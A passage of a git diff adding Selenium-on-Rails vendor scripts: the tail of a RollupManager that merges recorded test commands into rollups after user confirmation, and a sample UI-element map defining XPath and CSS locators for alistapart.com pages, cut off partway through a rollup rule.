+    this.name = 'RollupRuleException';
+}
+
+function RollupRule(rollupRuleShorthand)
+{
+    /**
+     * Ensure the shorthand notation used to initialize the RollupRule has all
+     * required values.
+     *
+     * @param rollupRuleShorthand  an object containing information about the
+     *                             RollupRule
+     */
+    this.validate = function(rollupRuleShorthand) {
+        var msg = "RollupRule validation error:\n"
+            + print_r(rollupRuleShorthand);
+        if (!rollupRuleShorthand.name) {
+            throw new RollupRuleException(msg + 'no name specified!');
+        }
+        if (!rollupRuleShorthand.description) {
+            throw new RollupRuleException(msg + 'no description specified!');
+        }
+        // rollupRuleShorthand.args is optional
+        if (!rollupRuleShorthand.commandMatchers &&
+            !rollupRuleShorthand.getRollup) {
+            throw new RollupRuleException(msg
+                + 'no command matchers specified!');
+        }
+        if (!rollupRuleShorthand.expandedCommands &&
+            !rollupRuleShorthand.getExpandedCommands) {
+            throw new RollupRuleException(msg
+                + 'no expanded commands specified!');
+        }
+        
+        return true;
+    };
+
+    /**
+     * Initialize this object.
+     *
+     * @param rollupRuleShorthand  an object containing information used to
+     *                             initialize the RollupRule
+     */
+    this.init = function(rollupRuleShorthand) {
+        this.validate(rollupRuleShorthand);
+        
+        this.name = rollupRuleShorthand.name;
+        this.description = rollupRuleShorthand.description;
+        this.pre = rollupRuleShorthand.pre || '';
+        this.post = rollupRuleShorthand.post || '';
+        this.alternateCommand = rollupRuleShorthand.alternateCommand;
+        this.args = rollupRuleShorthand.args || [];
+        
+        if (rollupRuleShorthand.commandMatchers) {
+            // construct the rule from the list of CommandMatchers
+            this.commandMatchers = [];
+            var matchers = rollupRuleShorthand.commandMatchers;
+            for (var i = 0; i < matchers.length; ++i) {
+                if (matchers[i].updateArgs && this.args.length == 0) {
+                    // enforce metadata for arguments
+                    var msg = "RollupRule validation error:\n"
+                        + print_r(rollupRuleShorthand)
+                        + 'no argument metadata provided!';
+                    throw new RollupRuleException(msg);
+                }
+                this.commandMatchers.push(new CommandMatcher(matchers[i]));
+            }
+            
+            // returns false if the rollup doesn't match, or a rollup command
+            // if it does. If returned, the command contains the
+            // replacementIndexes property, which indicates which commands it
+            // substitutes for.
+            this.getRollup = function(commands) {
+                // this is a greedy matching algorithm
+                var replacementIndexes = [];
+                var commandMatcherQueue = this.commandMatchers;
+                var matchCount = 0;
+                var args = {};
+                for (var i = 0, j = 0; i < commandMatcherQueue.length;) {
+                    var matcher = commandMatcherQueue[i];
+                    if (j >= commands.length) {
+                        // we've run out of commands! If the remaining matchers
+                        // do not have minMatches requirements, this is a
+                        // match. Otherwise, it's not.
+                        if (matcher.minMatches > 0) {
+                            return false;
+                        }
+                        ++i;
+                        matchCount = 0; // unnecessary, but let's be consistent
+                    }
+                    else {
+                        if (matcher.isMatch(commands[j])) {
+                            ++matchCount;
+                            if (matchCount == matcher.maxMatches) {
+                                // exhausted this matcher's matches ... move on
+                                // to next matcher
+                                ++i;
+                                matchCount = 0;
+                            }
+                            args = matcher.updateArgs(commands[j], args);
+                            replacementIndexes.push(j);
+                            ++j; // move on to next command
+                        }
+                        else {
+                            //alert(matchCount + ', ' + matcher.minMatches);
+                            if (matchCount < matcher.minMatches) {
+                                return false;
+                            }
+                            // didn't match this time, but we've satisfied the
+                            // requirements already ... move on to next matcher
+                            ++i;
+                            matchCount = 0;
+                            // still gonna look at same command
+                        }
+                    }
+                }
+                
+                var rollup;
+                if (this.alternateCommand) {
+                    rollup = new Command(this.alternateCommand,
+                        commands[0].target, commands[0].value);
+                }
+                else {
+                    rollup = new Command('rollup', this.name);
+                    rollup.value = to_kwargs(args);
+                }
+                rollup.replacementIndexes = replacementIndexes;
+                return rollup;
+            };
+        }
+        else {
+            this.getRollup = function(commands) {
+                var result = rollupRuleShorthand.getRollup(commands);
+                if (result) {
+                    var rollup = new Command(
+                        result.command
+                        , result.target
+                        , result.value
+                    );
+                    rollup.replacementIndexes = result.replacementIndexes;
+                    return rollup;
+                }
+                return false;
+            };
+        }
+        
+        this.getExpandedCommands = function(kwargs) {
+            var commands = [];
+            var expandedCommands = (rollupRuleShorthand.expandedCommands
+                ? rollupRuleShorthand.expandedCommands
+                : rollupRuleShorthand.getExpandedCommands(
+                    parse_kwargs(kwargs)));
+            for (var i = 0; i < expandedCommands.length; ++i) {
+                var command = expandedCommands[i];
+                commands.push(new Command(
+                    command.command
+                    , command.target
+                    , command.value
+                ));
+            }
+            return commands;
+        };
+    };
+    
+    this.init(rollupRuleShorthand);
+}
+
+
+
+/**
+ *
+ */
+function RollupManager()
+{
+    // singleton pattern
+    RollupManager.self = this;
+    
+    this.init = function()
+    {
+        this.rollupRules = {};
+        if (is_IDE()) {
+            Editor.rollupManager = this;
+        }
+    };
+
+    /**
+     * Adds a new RollupRule to the repository. Returns true on success, or
+     * false if the rule couldn't be added.
+     *
+     * @param rollupRuleShorthand  shorthand JSON specification of the new
+     *                             RollupRule, possibly including CommandMatcher
+     *                             shorthand too.
+     * @return                     true if the rule was added successfully,
+     *                             false otherwise.
+     */
+    this.addRollupRule = function(rollupRuleShorthand)
+    {
+        try {
+            var rule = new RollupRule(rollupRuleShorthand);
+            this.rollupRules[rule.name] = rule;
+        }
+        catch(e) {
+            smart_alert("Could not create RollupRule from shorthand:\n\n"
+                + e.message);
+            return false;
+        }
+        return true;
+    };
+    
+    /**
+     * Returns a RollupRule by name.
+     *
+     * @param rollupName  the name of the rule to fetch
+     * @return            the RollupRule, or null if it isn't found.
+     */
+    this.getRollupRule = function(rollupName)
+    {
+        return (this.rollupRules[rollupName] || null);
+    };
+    
+    /**
+     * Returns a list of name-description pairs for use in populating the
+     * auto-populated target dropdown in the IDE. Rules that have an alternate
+     * command defined are not included in the list, as they are not bona-fide
+     * rollups.
+     *
+     * @return  a list of name-description pairs
+     */
+    this.getRollupRulesForDropdown = function()
+    {
+        var targets = [];
+        var names = keys(this.rollupRules).sort();
+        for (var i = 0; i < names.length; ++i) {
+            var name = names[i];
+            if (this.rollupRules[name].alternateCommand) {
+                continue;
+            }
+            targets.push([ name, this.rollupRules[name].description ]);
+        }
+        return targets;
+    };
+    
+    /**
+     * Applies all rules to the current editor commands, asking the user in
+     * each case if it's okay to perform the replacement. The rules are applied
+     * repeatedly until there are no more matches. The algorithm should
+     * remember when the user has declined a replacement, and not ask to do it
+     * again.
+     *
+     * @return  the list of commands with rollup replacements performed
+     */
+    this.applyRollupRules = function()
+    {
+        var commands = editor.getTestCase().commands;
+        var blacklistedRollups = {};
+    
+        // so long as rollups were performed, we need to keep iterating through
+        // the commands starting at the beginning, because further rollups may
+        // potentially be applied on the newly created ones.
+        while (true) {
+            var performedRollup = false;
+            for (var i = 0; i < commands.length; ++i) {
+                // iterate through commands
+                for (var rollupName in this.rollupRules) {
+                    var rule = this.rollupRules[rollupName];
+                    var rollup = rule.getRollup(commands.slice(i));
+                    if (rollup) {
+                        // since we passed in a sliced version of the commands
+                        // array to the getRollup() method, we need to re-add 
+                        // the offset to the replacementIndexes
+                        var k = 0;
+                        for (; k < rollup.replacementIndexes.length; ++k) {
+                            rollup.replacementIndexes[k] += i;
+                        }
+                        
+                        // build the confirmation message
+                        var msg = "Perform the following command rollup?\n\n";
+                        for (k = 0; k < rollup.replacementIndexes.length; ++k) {
+                            var replacementIndex = rollup.replacementIndexes[k];
+                            var command = commands[replacementIndex];
+                            msg += '[' + replacementIndex + ']: ';
+                            msg += command + "\n";
+                        }
+                        msg += "\n";
+                        msg += rollup;
+                        
+                        // check against blacklisted rollups
+                        if (blacklistedRollups[msg]) {
+                            continue;
+                        }
+                        
+                        // highlight the potentially replaced rows
+                        for (k = 0; k < commands.length; ++k) {
+                            var command = commands[k];
+                            command.result = '';
+                            if (rollup.replacementIndexes.indexOf(k) != -1) {
+                                command.selectedForReplacement = true;
+                            }
+                            editor.view.rowUpdated(replacementIndex);
+                        }
+                        
+                        // get confirmation from user
+                        if (confirm(msg)) {
+                            // perform rollup
+                            var deleteRanges = [];
+                            var replacementIndexes = rollup.replacementIndexes;
+                            for (k = 0; k < replacementIndexes.length; ++k) {
+                                // this is expected to be list of ranges. A
+                                // range has a start, and a list of commands.
+                                // The deletion only checks the length of the
+                                // command list.
+                                deleteRanges.push({
+                                    start: replacementIndexes[k]
+                                    , commands: [ 1 ]
+                                });
+                            }
+                            editor.view.executeAction(new TreeView
+                                .DeleteCommandAction(editor.view,deleteRanges));
+                            editor.view.insertAt(i, rollup);
+                            
+                            performedRollup = true;
+                        }
+                        else {
+                            // cleverly remember not to try this rollup again
+                            blacklistedRollups[msg] = true;
+                        }
+                        
+                        // unhighlight
+                        for (k = 0; k < commands.length; ++k) {
+                            commands[k].selectedForReplacement = false;
+                            editor.view.rowUpdated(k);
+                        }
+                    }
+                }
+            }
+            if (!performedRollup) {
+                break;
+            }
+        }
+        return commands;
+    };
+    
+    this.init();
+}
+
+RollupManager.getInstance = function() {
+    return (RollupManager.self == null)
+        ? new RollupManager()
+        : RollupManager.self;
+}
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-map-sample.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-map-sample.js
new file mode 100644
index 00000000..37ab84b7
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-map-sample.js
@@ -0,0 +1,979 @@
+// sample UI element mapping definition. This is for http://alistapart.com/,
+// a particularly well structured site on web design principles.
+
+
+
+// in general, the map should capture structural aspects of the system, instead
+// of "content". In other words, interactive elements / assertible elements
+// that can be counted on to always exist should be defined here. Content -
+// for example text or a link that appears in a blog entry - is always liable
+// to change, and will not be fun to represent in this way. You probably don't
+// want to be testing specific content anyway.
+
+// create the UI mapping object. THIS IS THE MOST IMPORTANT PART - DON'T FORGET
+// TO DO THIS! In order for it to come into play, a user extension must
+// construct the map in this way.
+var myMap = new UIMap();
+
+
+
+
+// any values which may appear multiple times can be defined as variables here.
+// For example, here we're enumerating a list of top level topics that will be
+// used as default argument values for several UI elements. Check out how
+// this variable is referenced further down.
+var topics = [
+    'Code',
+    'Content',
+    'Culture',
+    'Design',
+    'Process',
+    'User Science'
+];
+
+// map subtopics to their parent topics
+var subtopics = {
+    'Browsers':         'Code'
+    , 'CSS':            'Code'
+    , 'Flash':          'Code'
+    , 'HTML and XHTML': 'Code'
+    , 'Scripting':      'Code'
+    , 'Server Side':    'Code'
+    , 'XML':            'Code'
+    , 'Brand Arts': 'Content'
+    , 'Community':  'Content'
+    , 'Writing':    'Content'
+    , 'Industry':           'Culture'
+    , 'Politics and Money': 'Culture'
+    , 'State of the Web':   'Culture'
+    , 'Graphic Design':        'Design'
+    , 'User Interface Design': 'Design'
+    , 'Typography':            'Design'
+    , 'Layout':                'Design'
+    , 'Business':                        'Process'
+    , 'Creativity':                      'Process'
+    , 'Project Management and Workflow': 'Process'
+    , 'Accessibility':            'User Science'
+    , 'Information Architecture': 'User Science'
+    , 'Usability':                'User Science'
+};
+
+
+
+// define UI elements common for all pages. This regular expression does the
+// trick. '^' is automatically prepended, and '$' is automatically postpended.
+// Please note that because the regular expression is being represented as a
+// string, all backslashes must be escaped with an additional backslash. Also
+// note that the URL being matched will always have any trailing forward slash
+// stripped.
+myMap.addPageset({
+    name: 'allPages'
+    , description: 'all alistapart.com pages'
+    , pathRegexp: '.*'
+});
+myMap.addElement('allPages', {
+    name: 'masthead'
+    // the description should be short and to the point, usually no longer than
+    // a single line
+    , description: 'top level image link to site homepage'
+    // make sure the function returns the XPath ... it's easy to leave out the
+    // "return" statement by accident!
+    , locator: "xpath=//*[@id='masthead']/a/img"
+    , testcase1: {
+        xhtml: '<h1 id="masthead"><a><img expected-result="1" /></a></h1>'
+    }
+});
+myMap.addElement('allPages', {
+    // be VERY CAREFUL to include commas in the correct place. Missing commas
+    // and extra commas can cause lots of headaches when debugging map
+    // definition files!!!
+    name: 'current_issue'
+    , description: 'top level link to issue currently being browsed'
+    , locator: "//div[@id='ish']/a"
+    , testcase1: {
+        xhtml: '<div id="ish"><a expected-result="1"></a></div>'
+    }
+});
+myMap.addElement('allPages', {
+    name: 'section'
+    , description: 'top level link to articles section'
+    , args: [
+        {
+            name: 'section'
+            , description: 'the name of the section'
+            , defaultValues: [
+                'articles'
+                , 'topics'
+                , 'about'
+                , 'contact'
+                , 'contribute'
+                , 'feed'
+            ]
+        }
+    ]
+    // getXPath has been deprecated by getLocator, but verify backward
+    // compatability here
+    , getXPath: function(args) {
+        return "//li[@id=" + args.section.quoteForXPath() + "]/a";
+    }
+    , testcase1: {
+        args: { section: 'feed' }
+        , xhtml: '<ul><li id="feed"><a expected-result="1" /></li></ul>'
+    }
+});
+myMap.addElement('allPages', {
+    name: 'search_box'
+    , description: 'site search input field'
+    // xpath has been deprecated by locator, but verify backward compatability
+    , xpath: "//input[@id='search']"
+    , testcase1: {
+        xhtml: '<input id="search" expected-result="1" />'
+    }
+});
+myMap.addElement('allPages', {
+    name: 'search_discussions'
+    , description: 'site search include discussions checkbox'
+    , locator: 'incdisc'
+    , testcase1: {
+        xhtml: '<input id="incdisc" expected-result="1" />'
+    }
+});
+myMap.addElement('allPages', {
+    name: 'search_submit'
+    , description: 'site search submission button'
+    , locator: 'submit'
+    , testcase1: {
+        xhtml: '<input id="submit" expected-result="1" />'
+    }
+});
+myMap.addElement('allPages', {
+    name: 'topics'
+    , description: 'sidebar links to topic categories'
+    , args: [
+        {
+            name: 'topic'
+            , description: 'the name of the topic'
+            , defaultValues: topics
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='topiclist']/ul/li" +
+            "/a[text()=" + args.topic.quoteForXPath() + "]";
+    }
+    , testcase1: {
+        args: { topic: 'foo' }
+        , xhtml: '<div id="topiclist"><ul><li>'
+            + '<a expected-result="1">foo</a>'
+            + '</li></ul></div>'
+    }
+});
+myMap.addElement('allPages', {
+    name: 'copyright'
+    , description: 'footer link to copyright page'
+    , getLocator: function(args) { return "//span[@class='copyright']/a"; }
+    , testcase1: {
+        xhtml: '<span class="copyright"><a expected-result="1" /></span>'
+    }
+});
+
+
+
+// define UI elements for the homepage, i.e. "http://alistapart.com/", and
+// magazine issue pages, i.e. "http://alistapart.com/issues/234".
+myMap.addPageset({
+    name: 'issuePages'
+    , description: 'pages including magazine issues'
+    , pathRegexp: '(issues/.+)?'
+});
+myMap.addElement('issuePages', {
+    name: 'article'
+    , description: 'front or issue page link to article'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the article'
+            // an array of default values for the argument. A default
+            // value is one that is passed to the getXPath() method of
+            // the container UIElement object when trying to build an
+            // element locator.
+            //
+            // range() may be used to count easily. Remember though that
+            // the ending value does not include the right extreme; for
+            // example range(1, 5) counts from 1 to 4 only.
+            , defaultValues: range(1, 5)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@class='item'][" + args.index + "]/h4/a";
+    }
+});
+myMap.addElement('issuePages', {
+    name: 'author'
+    , description: 'article author link'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the author, by article'
+            , defaultValues: range(1, 5)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@class='item'][" + args.index + "]/h5/a";
+    }
+});
+myMap.addElement('issuePages', {
+    name: 'store'
+    , description: 'alistapart.com store link'
+    , locator: "//ul[@id='banners']/li/a[@title='ALA Store']/img"
+});
+myMap.addElement('issuePages', {
+    name: 'special_article'
+    , description: "editor's choice article link"
+    , locator: "//div[@id='choice']/h4/a"
+});
+myMap.addElement('issuePages', {
+    name: 'special_author'
+    , description: "author link of editor's choice article"
+    , locator: "//div[@id='choice']/h5/a"
+});
+
+
+
+// define UI elements for the articles page, i.e.
+// "http://alistapart.com/articles"
+myMap.addPageset({
+    name: 'articleListPages'
+    , description: 'page with article listings'
+    , paths: [ 'articles' ]
+});
+myMap.addElement('articleListPages', {
+    name: 'issue'
+    , description: 'link to issue'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the issue on the page'
+            , defaultValues: range(1, 10)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//h2[@class='ishinfo'][" + args.index + ']/a';
+    }
+    , genericLocator: "//h2[@class='ishinfo']/a"
+});
+myMap.addElement('articleListPages', {
+    name: 'article'
+    , description: 'link to article, by issue and article number'
+    ,  args: [
+        {
+            name: 'issue_index'
+            , description: "the index of the article's issue on the page; "
+                + 'typically five per page'
+            , defaultValues: range(1, 6)
+        }
+        , {
+            name: 'article_index'
+            , description: 'the index of the article within the issue; '
+                + 'typically two per issue'
+            , defaultValues: range(1, 5)
+        }
+    ]
+    , getLocator: function(args) {
+        var xpath = "//h2[@class='ishinfo'][" + (args.issue_index || 1) + ']'
+            + "/following-sibling::div[@class='item']"
+            + '[' + (args.article_index || 1) + "]/h3[@class='title']/a";
+        return xpath;
+    }
+    , genericLocator: "//h2[@class='ishinfo']"
+        + "/following-sibling::div[@class='item']/h3[@class='title']/a"
+});
+myMap.addElement('articleListPages', {
+    name: 'author'
+    , description: 'article author link, by issue and article'
+    , args: [
+        {
+            name: 'issue_index'
+            , description: "the index of the article's issue on the page; \
+typically five per page"
+            , defaultValues: range(1, 6)
+        }
+        , {
+            name: 'article_index'
+            , description: "the index of the article within the issue; \
+typically two articles per issue"
+            , defaultValues: range(1, 3)
+        }
+    ]
+    // this XPath uses the "following-sibling" axis. The div elements for
+    // the articles in an issue are not children, but siblings of the h2
+    // element identifying the article.
+    , getLocator: function(args) {
+        var xpath = "//h2[@class='ishinfo'][" + (args.issue_index || 1) + ']'
+            + "/following-sibling::div[@class='item']"
+            + '[' + (args.article_index || 1) + "]/h4[@class='byline']/a";
+        return xpath;
+    }
+    , genericLocator: "//h2[@class='ishinfo']"
+        + "/following-sibling::div[@class='item']/h4[@class='byline']/a"
+});
+myMap.addElement('articleListPages', {
+    name: 'next_page'
+    , description: 'link to next page of articles (older)'
+    , locator: "//a[contains(text(),'Next page')]"
+});
+myMap.addElement('articleListPages', {
+    name: 'previous_page'
+    , description: 'link to previous page of articles (newer)'
+    , locator: "//a[contains(text(),'Previous page')]"
+});
+
+
+
+// define UI elements for specific article pages, i.e.
+// "http://alistapart.com/articles/culturalprobe"
+myMap.addPageset({
+    name: 'articlePages'
+    , description: 'pages for actual articles'
+    , pathRegexp: 'articles/.+'
+});
+myMap.addElement('articlePages', {
+    name: 'title'
+    , description: 'article title loop-link'
+    , locator: "//div[@id='content']/h1[@class='title']/a"
+});
+myMap.addElement('articlePages', {    
+    name: 'author'
+    , description: 'article author link'
+    , locator: "//div[@id='content']/h3[@class='byline']/a"
+});
+myMap.addElement('articlePages', {    
+    name: 'article_topics'
+    , description: 'links to topics under which article is published, before \
+article content'
+    , args: [
+        {
+            name: 'topic'
+            , description: 'the name of the topic'
+            , defaultValues: keys(subtopics)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//ul[@id='metastuff']/li/a"
+            + "[@title=" + args.topic.quoteForXPath() + "]";
+    }
+});
+myMap.addElement('articlePages', {    
+    name: 'discuss'
+    , description: 'link to article discussion area, before article content'
+    , locator: "//ul[@id='metastuff']/li[@class='discuss']/p/a"
+});
+myMap.addElement('articlePages', {    
+    name: 'related_topics'
+    , description: 'links to topics under which article is published, after \
+article content'
+    , args: [
+        {
+            name: 'topic'
+            , description: 'the name of the topic'
+            , defaultValues: keys(subtopics)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='learnmore']/p/a"
+            + "[@title=" + args.topic.quoteForXPath() + "]";
+    }
+});
+myMap.addElement('articlePages', {    
+    name: 'join_discussion'
+    , description: 'link to article discussion area, after article content'
+    , locator: "//div[@class='discuss']/p/a"
+});
+
+
+
+myMap.addPageset({
+    name: 'topicListingPages'
+    , description: 'top level listing of topics'
+    , paths: [ 'topics' ]
+});
+myMap.addElement('topicListingPages', {
+    name: 'topic'
+    , description: 'link to topic category'
+    , args: [
+        {
+            name: 'topic'
+            , description: 'the name of the topic'
+            , defaultValues: topics
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/h2/a"
+            + "[text()=" + args.topic.quoteForXPath() + "]";
+    }
+});
+myMap.addElement('topicListingPages', {
+    name: 'subtopic'
+    , description: 'link to subtopic category'
+    , args: [
+        {
+            name: 'subtopic'
+            , description: 'the name of the subtopic'
+            , defaultValues: keys(subtopics)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']" +
+            "/descendant::a[text()=" + args.subtopic.quoteForXPath() + "]";
+    }
+});
+
+// the following few subtopic page UI elements are very similar. Define UI
+// elements for the code page, which is a subpage under topics, i.e.
+// "http://alistapart.com/topics/code/"
+myMap.addPageset({
+    name: 'subtopicListingPages' 
+    , description: 'pages listing subtopics'
+    , pathPrefix: 'topics/'
+    , paths: [
+        'code'
+        , 'content'
+        , 'culture'
+        , 'design'
+        , 'process'
+        , 'userscience'
+    ]
+});
+myMap.addElement('subtopicListingPages', {
+    name: 'subtopic'
+    , description: 'link to a subtopic category'
+    , args: [
+        {
+            name: 'subtopic'
+            , description: 'the name of the subtopic'
+            , defaultValues: keys(subtopics)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/h2" +
+            "/a[text()=" + args.subtopic.quoteForXPath() + "]";
+    }
+});
+
+
+
+// subtopic articles page
+myMap.addPageset({
+    name: 'subtopicArticleListingPages'
+    , description: 'pages listing the articles for a given subtopic'
+    , pathRegexp: 'topics/[^/]+/.+'
+});
+myMap.addElement('subtopicArticleListingPages', {
+    name: 'article'
+    , description: 'link to a subtopic article'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the article'
+            , defaultValues: range(1, 51) // the range seems unlimited ...
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/div[@class='item']"
+            + "[" + args.index + "]/h3/a";
+    }
+    , testcase1: {
+        args: { index: 2 }
+        , xhtml: '<div id="content"><div class="item" /><div class="item">'
+            + '<h3><a expected-result="1" /></h3></div></div>'
+    }
+});
+myMap.addElement('subtopicArticleListingPages', {
+    name: 'author'
+    , description: "link to a subtopic article author's page"
+    , args: [
+        {
+            name: 'article_index'
+            , description: 'the index of the authored article'
+            , defaultValues: range(1, 51)
+        }
+        , {
+            name: 'author_index'
+            , description: 'the index of the author when there are multiple'
+            , defaultValues: range(1, 4)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/div[@class='item'][" +
+            args.article_index + "]/h4/a[" +
+            (args.author_index ? args.author_index : '1') + ']';
+    }
+});
+myMap.addElement('subtopicArticleListingPages', {
+    name: 'issue'
+    , description: 'link to issue a subtopic article appears in'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the subtopic article'
+            , defaultValues: range(1, 51)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/div[@class='item']"
+            + "[" + args.index + "]/h5/a";
+    }
+});
+
+
+
+myMap.addPageset({
+    name: 'aboutPages'
+    , description: 'the website about page'
+    , paths: [ 'about' ]
+});
+myMap.addElement('aboutPages', {
+    name: 'crew'
+    , description: 'link to site crew member bio or personal website'
+    , args: [
+        {
+            name: 'role'
+            , description: 'the role of the crew member'
+            , defaultValues: [
+                'ALA Crew'
+                , 'Support'
+                , 'Emeritus'
+            ]
+        }
+        , {
+            name: 'role_index'
+            , description: 'the index of the member within the role'
+            , defaultValues: range(1, 20)
+        }
+        , {
+            name: 'member_index'
+            , description: 'the index of the member within the role title'
+            , defaultValues: range(1, 5)
+        }
+    ]
+    , getLocator: function(args) {
+        // the first role is kind of funky, and requires a conditional to
+        // build the XPath correctly. Its header looks like this:
+        //
+        // <h3>
+        // <span class="caps">ALA 4</span>.0 <span class="caps">CREW</span>
+        // </h3>
+        //
+        // This kind of complexity is a little daunting, but you can see
+        // how the format can handle it relatively easily and concisely.
+        if (args.role == 'ALA Crew') {
+            var selector = "descendant::text()='CREW'";
+        }
+        else {
+            var selector = "text()=" + args.role.quoteForXPath();
+        }
+        var xpath =
+            "//div[@id='secondary']/h3[" + selector + ']' +
+            "/following-sibling::dl/dt[" + (args.role_index || 1) + ']' +
+            '/a[' + (args.member_index || '1') + ']';
+        return xpath;
+    }
+});
+
+
+
+myMap.addPageset({
+    name: 'searchResultsPages'
+    , description: 'pages listing search results'
+    , paths: [ 'search' ]
+});
+myMap.addElement('searchResultsPages', {
+    name: 'result_link'
+    , description: 'search result link'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the search result'
+            , defaultValues: range(1, 11)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/ul[" + args.index + ']/li/h3/a';
+    }
+});
+myMap.addElement('searchResultsPages', {
+    name: 'more_results_link'
+    , description: 'next or previous results link at top or bottom of page'
+    , args: [
+        {
+            name: 'direction'
+            , description: 'next or previous results page'
+            // demonstrate a method which acquires default values from the
+            // document object. Such default values may contain EITHER commas
+            // OR equals signs, but NOT BOTH.
+            , getDefaultValues: function(inDocument) {
+                var defaultValues = [];
+                var divs = inDocument.getElementsByTagName('div');
+                for (var i = 0; i < divs.length; ++i) {
+                    if (divs[i].className == 'pages') {
+                        break;
+                    }
+                }
+                var links = divs[i].getElementsByTagName('a');
+                for (i = 0; i < links.length; ++i) {
+                    defaultValues.push(links[i].innerHTML
+                        .replace(/^\xab\s*/, "")
+                        .replace(/\s*\bb$/, "")
+                        .replace(/\s*\d+$/, ""));
+                }
+                return defaultValues;
+            }
+        }
+        , {
+            name: 'position'
+            , description: 'position of the link'
+            , defaultValues: ['top', 'bottom']
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@id='content']/div[@class='pages']["
+            + (args.position == 'top' ? '1' : '2') + ']'
+            + "/a[contains(text(), "
+            + (args.direction ? args.direction.quoteForXPath() : undefined)
+            + ")]";
+    }
+});
+    
+    
+    
+myMap.addPageset({
+    name: 'commentsPages'
+    , description: 'pages listing comments made to an article'
+    , pathRegexp: 'comments/.+'
+});
+myMap.addElement('commentsPages', {
+    name: 'article_link'
+    , description: 'link back to the original article'
+    , locator: "//div[@id='content']/h1[@class='title']/a"
+});
+myMap.addElement('commentsPages', {
+    name: 'comment_link'
+    , description: 'same-page link to comment'
+    , args: [
+        {
+            name: 'index'
+            , description: 'the index of the comment'
+            , defaultValues: range(1, 11)
+        }
+    ]
+    , getLocator: function(args) {
+        return "//div[@class='content']/div[contains(@class, 'comment')]" +
+            '[' + args.index + ']/h4/a[2]';
+    }
+});
+myMap.addElement('commentsPages', {
+    name: 'paging_link'
+    , description: 'links to more pages of comments'
+    , args: [
+        {
+            name: 'dest'
+            , description: 'the destination page'
+            , defaultValues: ['next', 'prev'].concat(range(1, 16))
+        }
+        , {
+            name: 'position'
+            , description: 'position of the link'
+            , defaultValues: ['top', 'bottom']
+        }
+    ]
+    , getLocator: function(args) {
+        var dest = args.dest;
+        var xpath = "//div[@id='content']/div[@class='pages']" +
+            '[' + (args.position == 'top' ? '1' : '2') + ']/p';
+        if (dest == 'next' || dest == 'prev') {
+            xpath += "/a[contains(text(), " + dest.quoteForXPath() + ")]";
+        }
+        else {
+            xpath += "/a[text()=" + dest.quoteForXPath() + "]";
+        }
+        return xpath;
+    }
+});
+
+
+
+myMap.addPageset({
+    name: 'authorPages'
+    , description: 'personal pages for each author'
+    , pathRegexp: 'authors/[a-z]/.+'
+});
+myMap.addElement('authorPages', {
+    name: 'article'
+    , description: "link to article written by this author.\n"
+        + 'This description has a line break.'
+    , args: [
+        {
+            name: 'index'
+            , description: 'index of the article on the page'
+            , defaultValues: range(1, 11)
+        }
+    ]
+    , getLocator: function(args) {
+        var index = args.index;
+        // try out the CSS locator!
+        //return "//h4[@class='title'][" + index + "]/a";
+        return 'css=h4.title:nth-child(' + index + ') > a';
+    }
+    , testcase1: {
+        args: { index: '2' }
+        , xhtml: '<h4 class="title" /><h4 class="title">'
+            + '<a expected-result="1" /></h4>'
+    }
+});
+
+
+
+// test the offset locator. Something like the following can be recorded:
+// ui=qaPages::content()//a[contains(text(),'May I quote from your articles?')]
+myMap.addPageset({
+    name: 'qaPages'
+    , description: 'question and answer pages'
+    , pathRegexp: 'qa'
+});
+myMap.addElement('qaPages', {
+    name: 'content'
+    , description: 'the content pane containing the q&a entries'
+    , locator: "//div[@id='content' and "
+        + "child::h1[text()='Questions and Answers']]"
+    , getOffsetLocator: UIElement.defaultOffsetLocatorStrategy
+});
+myMap.addElement('qaPages', {
+    name: 'last_updated'
+    , description: 'displays the last update date'
+    // demonstrate calling getLocator() for another UI element within a
+    // getLocator(). The former must have already been added to the map. And
+    // obviously, you can't randomly combine different locator types!
+    , locator: myMap.getUIElement('qaPages', 'content').getLocator() + '/p/em'
+});
+
+
+
+//******************************************************************************
+
+var myRollupManager = new RollupManager();
+
+// though the description element is required, its content is free form. You
+// might want to create a documentation policy as given below, where the pre-
+// and post-conditions of the rollup are spelled out.
+//
+// To take advantage of a "heredoc" like syntax for longer descriptions,
+// add a backslash to the end of the current line and continue the string on
+// the next line.
+myRollupManager.addRollupRule({
+    name: 'navigate_to_subtopic_article_listing'
+    , description: 'drill down to the listing of articles for a given subtopic \
+from the section menu, then the topic itself.'
+    , pre: 'current page contains the section menu (most pages should)'
+    , post: 'navigated to the page listing all articles for a given subtopic'
+    , args: [
+        {
+            name: 'subtopic'
+            , description: 'the subtopic whose article listing to navigate to'
+            , exampleValues: keys(subtopics)
+        }
+    ]
+    , commandMatchers: [
+        {
+            command: 'clickAndWait'
+            , target: 'ui=allPages::section\\(section=topics\\)'
+            // must escape parentheses in the the above target, since the
+            // string is being used as a regular expression. Again, backslashes
+            // in strings must be escaped too.
+        }
+        , {
+            command: 'clickAndWait'
+            , target: 'ui=topicListingPages::topic\\(.+'
+        }
+        , {
+            command: 'clickAndWait'
+            , target: 'ui=subtopicListingPages::subtopic\\(.+'
+            , updateArgs: function(command, args) {
+                // don't bother stripping the "ui=" prefix from the locator
